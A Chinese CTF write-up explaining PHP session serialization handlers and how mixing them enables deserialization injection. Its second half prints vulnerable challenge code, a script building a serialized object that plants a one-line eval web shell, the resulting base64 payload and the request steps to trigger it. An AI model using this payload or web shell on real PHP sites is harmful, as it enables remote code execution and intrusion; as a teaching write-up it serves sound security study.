【session会话存储】一篇文章弄懂session的两种存储方式

本文最后更新于:2021年10月1日晚上9点40分

本文首发于合天网安实验室

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PHP中session有哪些存储方式?

根据官方文档我们可以看到,一共有三种存储方式:PHP序列化格式PHP内部格式以及WDDX

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如果不使用ini_set设置相关session存储方式,在默认情况下就使用php,也就是php内部格式

本篇文章仅讨论PHP序列化格式以及php默认处理器这两种存储方式,不探讨WDDX的存储方式。

还有一种是php_binary的格式,本文也不做探讨,这里就列出在不同模式下的存储方式。

php_serialize 经过serialize()函数序列化数组
php 键名+竖线+经过serialize()函数处理的值
php_binary 键名的长度对应的ascii字符+键名+serialize()函数序列化的值

php默认处理器与php序列化存储方式有哪些差异?

php默认处理器

首先我们使用php默认处理器,初始化session,并给session赋值,实验代码如下:

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<?php
//ini_set("session.serialize_handler","php");
session_start();
$_SESSION['tt'] = "Lxxx";

访问该网页后我们可以看到以下内容:

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这里的信息量有点大,我们逐个分析:

  1. 首先访问该网页后,在Cookie中会新建一个值,键名为PHPSESSID,键值为一串随机的字符串,其中键名是由session.name决定的,如果不设置,默认为PHPSESSID

    image-20210919135935821

  2. 新建了一个session之后,服务器会将会话信息存储在tmp目录中,文件名为PHPSESSID_<value>,其中value的值即为浏览器中PHPSESSID的值

  3. 在这个文件中,会将session信息分为两部分存储,一个是服务器代码中设置session的键名,另一个为session的键值,中间用竖线|隔开

php序列化处理器

同样的,我们还是用上方的代码,不过将session存储的方式修改为php序列化,代码如下:

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<?php
ini_set("session.serialize_handler","php_serialize");
session_start();
$_SESSION['tt'] = "Lxxx";

得到的结果如下:

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可以看到,与php默认处理器唯一不同点就在于:存储的内容变为了序列化之后的结果。

那么如果将这两个处理器结合起来,会产生什么安全问题呢?

session存储中可能产生的安全问题:

由于PHP默认情况下使用的session存储方式为PHP默认处理器,即存储的内容用竖线|进行分割,那么开发者在开发的时候,如果没有统一好存储的方式,比如在某个页面中使用PHP默认处理器操作session,但是在其他页面用PHP序列化操作session,如果在这个过程中有数据的交换,就很有可能存在反序列化注入问题。

光说可能有些抽象,接下来使用一道CTF赛题来阐述session存储中可能存在的安全问题。

用一道CTF题阐述session的安全问题:

首先呢,打开题目:

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乍一眼看是登录页面,可能是SQL注入有关,但是经过我们扫描后,存在www.zip源代码泄露。在www.zip中存在以下文件:

相关代码如下:(有些做了省略)

index.php

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<?php
if(isset($_SESSION['limit'])){
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);
}else{
setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;
}
?>

inc.php

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<?php
ini_set('session.serialize_handler', 'php');
class User{
public $username;
public $password;
public $status;
function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function setStatus($s){
$this->status=$s;
}
function __destruct(){
file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
}
}

check.php

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<?php
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);
if($GET){
$data= $db->get('admin',
[ 'id',
'UserName0'
],[
"AND"=>[
"UserName0[=]"=>$GET['u'],
"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破
]
]);
if($data['id']){
//登陆成功取消次数累计
$_SESSION['limit']= 0;
echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));
}else{
//登陆失败累计次数加1
$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);
echo json_encode(array("error","msg"=>"登陆失败"));
}
}

这一道题,经过初步审计之后,我们可以发现三个比较重要的地方:

  1. 首先在index.php代码中,有以下代码

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    $_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);

    这一行代码看上去有登录失败次数的限制,但是由于题目中limit打成了limti,所以,实际上这一行代码并不影响我们做题。

  2. inc.php中,存在以下代码:

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    ini_set('session.serialize_handler', 'php');

    前面我们提到,默认的PHP对于session的处理方式就是php,但是这里又通过ini_set来设置处理方式是php,由此我们可以大胆假设,这题的环境,默认的session处理方式为php序列化

  3. 同样还是在inc.php页面中,有以下代码:

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    function __destruct(){
    file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }

    在这一个地方,存在一个文件写入的漏洞,其中文件名以及写入的内容都可控。

经过初步审计之后,我们可以尝试使用将User类序列化后的字符写入limit中,当其他页面调用limit的时候,使用的是php序列化的处理器,这时候php就会对User类进行反序列化,最终写入我们的shell

所以我们构造一个User类,写入相关的shell,并且序列化之后添加一个竖线|,最后进行base64编码。

这里需要添加竖线|的原因是,在inc.php页面中使用了PHP的处理器,而在其他地方使用“默认”的PHP序列化处理器。

构造对象如下:

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<?php
class User{
public $username = "1.php";
public $password = '<?php eval($_POST["a"]);?>';
}
$a = new User();
echo base64_encode("|".serialize($a));;
?>

得到结果:

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fE86NDoiVXNlciI6Mjp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyNjoiPD9waHAgZXZhbCgkX1BPU1RbImEiXSk7Pz4iO30=

首先访问index.php建立会话,然后将这一串传入cookie中的limit

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再带参数访问check.php

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check.php?u=123&pass=456

访问之后,就会在目录下生成log-1.php的后门文件,连接密码为a,即可成功getshell。

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